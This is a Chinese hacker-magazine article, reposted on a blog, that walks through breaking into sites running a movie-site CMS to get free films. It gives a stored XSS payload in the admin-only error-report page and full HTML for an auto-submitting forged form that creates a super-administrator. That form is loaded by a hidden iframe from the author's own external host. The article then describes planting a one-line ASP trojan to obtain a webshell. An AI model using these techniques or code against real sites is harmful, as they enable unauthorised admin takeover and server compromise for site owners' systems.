跨出权限—世纪热线全站程序完美版漏洞利用

注:本文首发于黑客手册,.转载请注明来源 06年就这样像3389离我而去,07年就像4489在迎接着我们。不知不觉又长了一岁。06年可以说是注入淡却的一年。不过新的技术也在增长。 跨站虽然算不上新的技术。但在国外也是非常重视的。其实跨站代码如果构造好的话可以干出很多事来的。这不,在网上逛到了一个电影网站。 心想如果把这个站拿下来不就可以看免费的电影了。(动机不太好呀^_^)。发现程序用的是:"世纪热线全站程序完美版"于是去百度搜一下也没发有漏 洞。那么就自己下回来慢慢研究吧。 可以说这套程序在注入方面防范的还不错。但是跨站方面好象就没有做到家了。经过仔细的查找,终于被我找到了一点软胁。首先我们先注册 个用户。一般电影网站都提供影片报错的页面。这个也不例外。我们在首页随便点击一个影片。下面有个报告错误。点一下之后会打开一个页面。 因为这个报告错误只有管理员能看,我们在报告错误里写上"<script>alert("樱花找漏洞了")</script>",如图1所示。 点开始报告,我们再去后台的电影管理/错误报告去看一下,跨站代码被成功执行了。如图2所示。 既然这个能执行,我们在来构造一些特殊的代码吧。后台有个添加管理员的,我们先来看看它的代码是怎么实现的,添加管理员的关键代码如下: <form method="post" action="saveuser1.asp" name="form1" onsubmit="javascript:return check();"> <table width="396" border="0" cellspacing="1" cellpadding="0"> <tr bgcolor="#0099FF"> <td height="25" width="392"> <div align="center"> <font size="2">新增管理员</font></div> </td> </tr> <tr> <td height="30" style="color: black; border-style: none" width="253"> <div align="center"> <font size="2">用 户 名  <input type="text" name="username" size="20"> </font> </div> </td> <td height="30" style="color: black; border-style: none" width="138"> </td> </tr> <tr> <td height="30" style="color: black; border-style: none" width="253"> <div align="center"> <font size="2">初始密码  <input type="password" name="newpin" size="20"> </font> </div> </td> <td height="30" style="color: black; border-style: none" width="138"> <span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td> </tr> <tr> <td height="30" style="color: black; border-style: none" width="253"> <div align="center"> <font size="2">确认密码  <input type="password" name="re_newpin" size="20"> </font> </div> </td> <td height="30" style="color: black; border-style: none" width="138"> <span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td> </tr> <tr> <td height="30" style="color: black; border-style: none" width="253"> <p align="center"><span lang="zh-cn">&nbsp;</span>权限设置 <span lang="zh-cn">&nbsp; </span><select size="1" name="flag"> <option selected value="4">====无管理权限====</option> <option value="3">====初级管理员====</option> <option value="2">====高级管理员====</option> <option value="1">====超级管理员====</option> </select></td> <td height="30" style="color: black; border-style: none" width="138"> </td> </tr> </table> <p><input type="submit" name="Submit" value="确定"> </p> </form> 其实这个我们只在稍稍改动一下就可以了,改好的代码如下: <form method="post" action="http://127.0.0.1/admin/saveuser1.asp"> <table width="396" border="0" cellspacing="1" cellpadding="0"> <tr bgcolor="#0099FF"> <td height="25" width="392"> <div align="center"> <font size="2">新增管理员</font></div> </td> </tr> <tr> <td height="30" style="color: black; border-style: none" width="253"> <div align="center"> <font size="2">用 户 名  <input type="text" name="username" size="20" value="hacklu119"> '添加管理员名字 </font> </div> </td> <td height="30" style="color: black; border-style: none" width="138"> </td> </tr> <tr> <td height="30" style="color: black; border-style: none" width="253"> <div align="center"> <font size="2">初始密码  <input type="password" name="newpin" size="20" value="hack11911"> '添加管理员密码 </font> </div> </td> <td height="30" style="color: black; border-style: none" width="138"> <span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td> </tr> <tr> <td height="30" style="color: black; border-style: none" width="253"> <div align="center"> <font size="2">确认密码  <input type="password" name="re_newpin" size="20" value="hack11911"> '确认管理员密码 </font> </div> </td> <td height="30" style="color: black; border-style: none" width="138"> <span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td> </tr> <tr> <td height="30" style="color: black; border-style: none" width="253"> <p align="center"><span lang="zh-cn">&nbsp;</span>权限设置 <span lang="zh-cn">&nbsp; </span><select size="1" name="flag"> <option selected value="1">====无管理权限====</option> '设置为超级管理员,注意这里是1 <option value="3">====初级管理员====</option> <option value="2">====高级管理员====</option> <option value="1">====超级管理员====</option> </select></td> <td height="30" style="color: black; border-style: none" width="138"> </td> </tr> </table> <p><input type="submit" name="Submit" value="确定"> </p> <p> </p> <p align="center"> <script language="javascript"> '用javascript脚本叫程序自动运行 this.document.forms[0].submit() </script> </div> </form> 最重要的就是action后的路径和最后自动运行的脚本,路径大家一定要对上。把上面的代码为hacklu.htm上传到自己的空间。然后再来到错误 报告的地方写上我们的挂马代码: <iframe src=http://www.hacklu.net/tu/hacklu.htm width=0 height=0></iframe> ,www.hacklu.net是我空 间的地址。这样管理员在看错误报告的时候就会添加一个名为:hacklu119的超级管理员。如图3、图4所示。 其实我们还可以构造备份WEBSHELL什么的,只是这个后台没有备份数据库的功能。所以得到WEBSHELL有一定的困难。刚开始我在添加电影的地 方上传ASP木马。又是抓名又是改扩展名的,可惜还没有成功。后来不经意发现原来这个数据库是ASP的,那么就好办了。只接在添加电影的地方 写上我们的一句话的ASP木马,如图5所示。 最后添加一下我们用客户端连接 http://127.0.0.1/data/jdzcn.asp 如图6所示,连接成功后会生成killbase.asp文件。最后成功得到WEBSHELL。见图7。 不过如果数据库改了名字的话,那么得WEBSHELL就不容易了。
posted @ 2012-07-15 23:37  adodo1  Views(149)  Comments(0Edit  收藏  举报